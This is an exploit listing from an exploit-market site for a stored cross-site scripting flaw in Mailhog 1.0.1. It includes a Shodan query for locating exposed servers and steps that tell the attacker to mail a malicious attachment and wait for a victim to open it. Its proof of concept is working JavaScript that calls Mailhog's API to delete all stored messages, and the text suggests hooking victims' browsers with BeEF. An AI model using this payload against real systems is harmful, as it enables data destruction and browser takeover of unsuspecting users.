[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Mailhog 1.0.1 - Stored Cross-Site Scripting Vulnerability

Author
Vulnz
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-37812
Category
web applications
Date add
27-06-2022
Platform
php
# Exploit Title: Mailhog 1.0.1 - Stored Cross-Site Scripting (XSS)
# Google Dork: https://www.shodan.io/search?query=mailhog ( > 3500)
# Exploit Author: Vulnz
# Vendor Homepage: https://github.com/mailhog/MailHog
# Software Link: https://github.com/mailhog/MailHog
# Version: 1.0.1
# Tested on: Windows,Linux,Docker
# CVE : N/A

Explanation:
Malicious users have the ability to send API requests to localhost and this request will be executed without any additional checks. As long as CSRF exists and unrestricted API calls as well, XSS could lead any API calls including  email deletion, sending, reading or any other call.

Steps to reproduce:
   1.   Create malicious attachment with payloads stated below
   2.   Attach malicious file to email with payload (XSS)
   3.   Send email
   4.   Wait for victim to open email
   5.   Receive data, get control of victim browser using Beef framework, or manipulate with API data


Proof of Concept:

<script>

var XMLHttpFactories = [

function () {

    return new XMLHttpRequest()

},

function () {

    return new ActiveXObject("Msxml2.XMLHTTP")

},

function () {

    return new ActiveXObject("Msxml3.XMLHTTP")

},

function () {

    return new ActiveXObject("Microsoft.XMLHTTP")

}

];

function createXMLHTTPObject() {

    var xmlhttp = false;

    for (var i=0;i<XMLHttpFactories.length;i++) {

        try {

            xmlhttp = XMLHttpFactories[i]();

        }

        catch (e) {

            continue;

        }

        break;

    }

    return xmlhttp;

}

var xhr = createXMLHTTPObject();

xhr.open("DELETE", "http://localhost:8025/api/v1/messages", true);

xhr.onreadystatechange = function()

{

    if (xhr.readyState == 4)

        alert("Request completed, with the following status code: " +
xhr.status);

}

xhr.send("");

</script>

#  0day.today [2024-12-26]  #